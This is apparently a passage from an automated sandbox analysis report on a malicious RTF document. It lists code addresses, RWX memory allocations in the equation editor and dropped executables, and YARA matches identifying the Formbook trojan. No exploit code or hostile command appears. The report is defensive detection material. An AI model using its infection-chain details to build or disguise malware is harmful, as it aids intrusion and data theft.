Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_00860F3F	7_2_00860F3F
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0087D005	7_2_0087D005
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_00853040	7_2_00853040
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0086905A	7_2_0086905A
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008CD06D	7_2_008CD06D
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008DD13F	7_2_008DD13F
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008F1238	7_2_008F1238
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0084F3CF	7_2_0084F3CF
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_00857353	7_2_00857353
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_00885485	7_2_00885485
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_00861489	7_2_00861489
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0088D47D	7_2_0088D47D
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008F35DA	7_2_008F35DA
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0085351F	7_2_0085351F
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008D579A	7_2_008D579A
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008857C3	7_2_008857C3
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008E771D	7_2_008E771D
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008CF8C4	7_2_008CF8C4
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008EF8EE	7_2_008EF8EE
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008D394B	7_2_008D394B
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008D5955	7_2_008D5955
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_00903A83	7_2_00903A83
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0084FBD7	7_2_0084FBD7
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008DDBDA	7_2_008DDBDA
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_00877B00	7_2_00877B00
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008EFDDD	7_2_008EFDDD
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008DBF14	7_2_008DBF14
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0087DF7C	7_2_0087DF7C
Source: C:\Windows\explorer.exe	Code function: 8_2_08188036	8_2_08188036
Source: C:\Windows\explorer.exe	Code function: 8_2_0817F082	8_2_0817F082
Source: C:\Windows\explorer.exe	Code function: 8_2_08186912	8_2_08186912
Source: C:\Windows\explorer.exe	Code function: 8_2_08180D02	8_2_08180D02
Source: C:\Windows\explorer.exe	Code function: 8_2_0818C5CD	8_2_0818C5CD
Source: C:\Windows\explorer.exe	Code function: 8_2_08189232	8_2_08189232
Source: C:\Windows\explorer.exe	Code function: 8_2_08183B30	8_2_08183B30
Source: C:\Windows\explorer.exe	Code function: 8_2_08183B32	8_2_08183B32
Source: C:\Windows\explorer.exe	Code function: 8_2_08CA6232	8_2_08CA6232
Source: C:\Windows\explorer.exe	Code function: 8_2_08C9C082	8_2_08C9C082
Source: C:\Windows\explorer.exe	Code function: 8_2_08CA5036	8_2_08CA5036
Source: C:\Windows\explorer.exe	Code function: 8_2_08CA95CD	8_2_08CA95CD
Source: C:\Windows\explorer.exe	Code function: 8_2_08C9DD02	8_2_08C9DD02
Source: C:\Windows\explorer.exe	Code function: 8_2_08CA3912	8_2_08CA3912
Source: C:\Windows\explorer.exe	Code function: 8_2_08CA0B32	8_2_08CA0B32
Source: C:\Windows\explorer.exe	Code function: 8_2_08CA0B30	8_2_08CA0B30
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01ECE0C6	9_2_01ECE0C6
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EF63DB	9_2_01EF63DB
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F763BF	9_2_01F763BF
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F1A37B	9_2_01F1A37B
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01ED2305	9_2_01ED2305
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01ECE2E9	9_2_01ECE2E9
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F505E3	9_2_01F505E3
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EEC5F0	9_2_01EEC5F0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F16540	9_2_01F16540
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F5443E	9_2_01F5443E
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EDC7BC	9_2_01EDC7BC
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EDE6C1	9_2_01EDE6C1
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01ED4680	9_2_01ED4680
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F1A634	9_2_01F1A634
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F72622	9_2_01F72622
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F649F5	9_2_01F649F5
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EE69FE	9_2_01EE69FE
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01ED29B2	9_2_01ED29B2
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F7098E	9_2_01F7098E
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F1C920	9_2_01F1C920
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EF286D	9_2_01EF286D
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EDC85C	9_2_01EDC85C
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F56BCB	9_2_01F56BCB
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F7CBA4	9_2_01F7CBA4
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EDCD5B	9_2_01EDCD5B
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F00D3B	9_2_01F00D3B
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F72C9C	9_2_01F72C9C
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F5AC5E	9_2_01F5AC5E
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F42FDC	9_2_01F42FDC
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F6CFB1	9_2_01F6CFB1
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EE0F3F	9_2_01EE0F3F
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EEEE4C	9_2_01EEEE4C
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F02E2F	9_2_01F02E2F
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F5D13F	9_2_01F5D13F
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F4D06D	9_2_01F4D06D
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01ED3040	9_2_01ED3040
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EE905A	9_2_01EE905A
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EFD005	9_2_01EFD005
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01ECF3CF	9_2_01ECF3CF
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01ED7353	9_2_01ED7353
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F71238	9_2_01F71238
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F735DA	9_2_01F735DA
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01ED351F	9_2_01ED351F
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EE1489	9_2_01EE1489
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F05485	9_2_01F05485
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F0D47D	9_2_01F0D47D
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F057C3	9_2_01F057C3
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F5579A	9_2_01F5579A
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F6771D	9_2_01F6771D
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F55955	9_2_01F55955
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F5394B	9_2_01F5394B
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F6F8EE	9_2_01F6F8EE
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F4F8C4	9_2_01F4F8C4
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F5DBDA	9_2_01F5DBDA
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01ECFBD7	9_2_01ECFBD7
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EF7B00	9_2_01EF7B00
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F83A83	9_2_01F83A83
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F6FDDD	9_2_01F6FDDD
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EFDF7C	9_2_01EFDF7C
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01F5BF14	9_2_01F5BF14
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_000AE54B	9_2_000AE54B
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_000AD566	9_2_000AD566
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_000AEB5A	9_2_000AEB5A
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_000AED50	9_2_000AED50
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_00092D90	9_2_00092D90
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_00099E4D	9_2_00099E4D
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_00099E50	9_2_00099E50
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_00092FB0	9_2_00092FB0

Source: C:\Windows\SysWOW64\cmstp.exe

Process Stats: CPU usage > 49%

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 771D0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe	Memory allocated: 771D0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Memory allocated: 771D0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Memory allocated: 771D0000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe	Memory allocated: 771D0000 page execute and read and write	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 771D0000 page execute and read and write	Jump to behavior

Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\cmstp.exe C:\Windows\SysWOW64\cmstp.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\cmstp.exe C:\Windows\SysWOW64\cmstp.exe			Jump to behavior

Source: SecuriteInfo.com.RTF.Obfuscated-gen.19663.16514.rtf, type: SAMPLE	Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: 7.2.twbcaze.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 7.2.twbcaze.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 7.2.twbcaze.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 7.2.twbcaze.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 7.2.twbcaze.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 7.2.twbcaze.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.2.twbcaze.exe.250000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 6.2.twbcaze.exe.250000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.2.twbcaze.exe.250000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.2.twbcaze.exe.250000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 6.2.twbcaze.exe.250000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.2.twbcaze.exe.250000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.363149838.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000007.00000002.363149838.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.363149838.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000002.879277529.00000000001A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000009.00000002.879277529.00000000001A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000002.879277529.00000000001A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000002.881171114.0000000008CBE000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_772cc62d os = windows, severity = x86, creation_date = 2022-05-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8343b5d02d74791ba2d5d52d19a759f761de2b5470d935000bc27ea6c0633f5, id = 772cc62d-345c-42d8-97ab-f67e447ddca4, last_modified = 2022-07-18
Source: 00000006.00000002.353559991.0000000000250000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.353559991.0000000000250000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.353559991.0000000000250000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000002.879264468.0000000000170000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000009.00000002.879264468.0000000000170000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000002.879264468.0000000000170000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.363178353.00000000003D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000007.00000002.363178353.00000000003D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.363178353.00000000003D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: Process Memory Space: twbcaze.exe PID: 3164, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: twbcaze.exe PID: 3172, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: cmstp.exe PID: 3216, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: C:\Users\user\AppData\Roaming\word.exe

Code function: 5_2_004030FB EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,ExitProcess,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,

5_2_004030FB

Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: String function: 0084DF5C appears 137 times
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: String function: 008BF970 appears 84 times
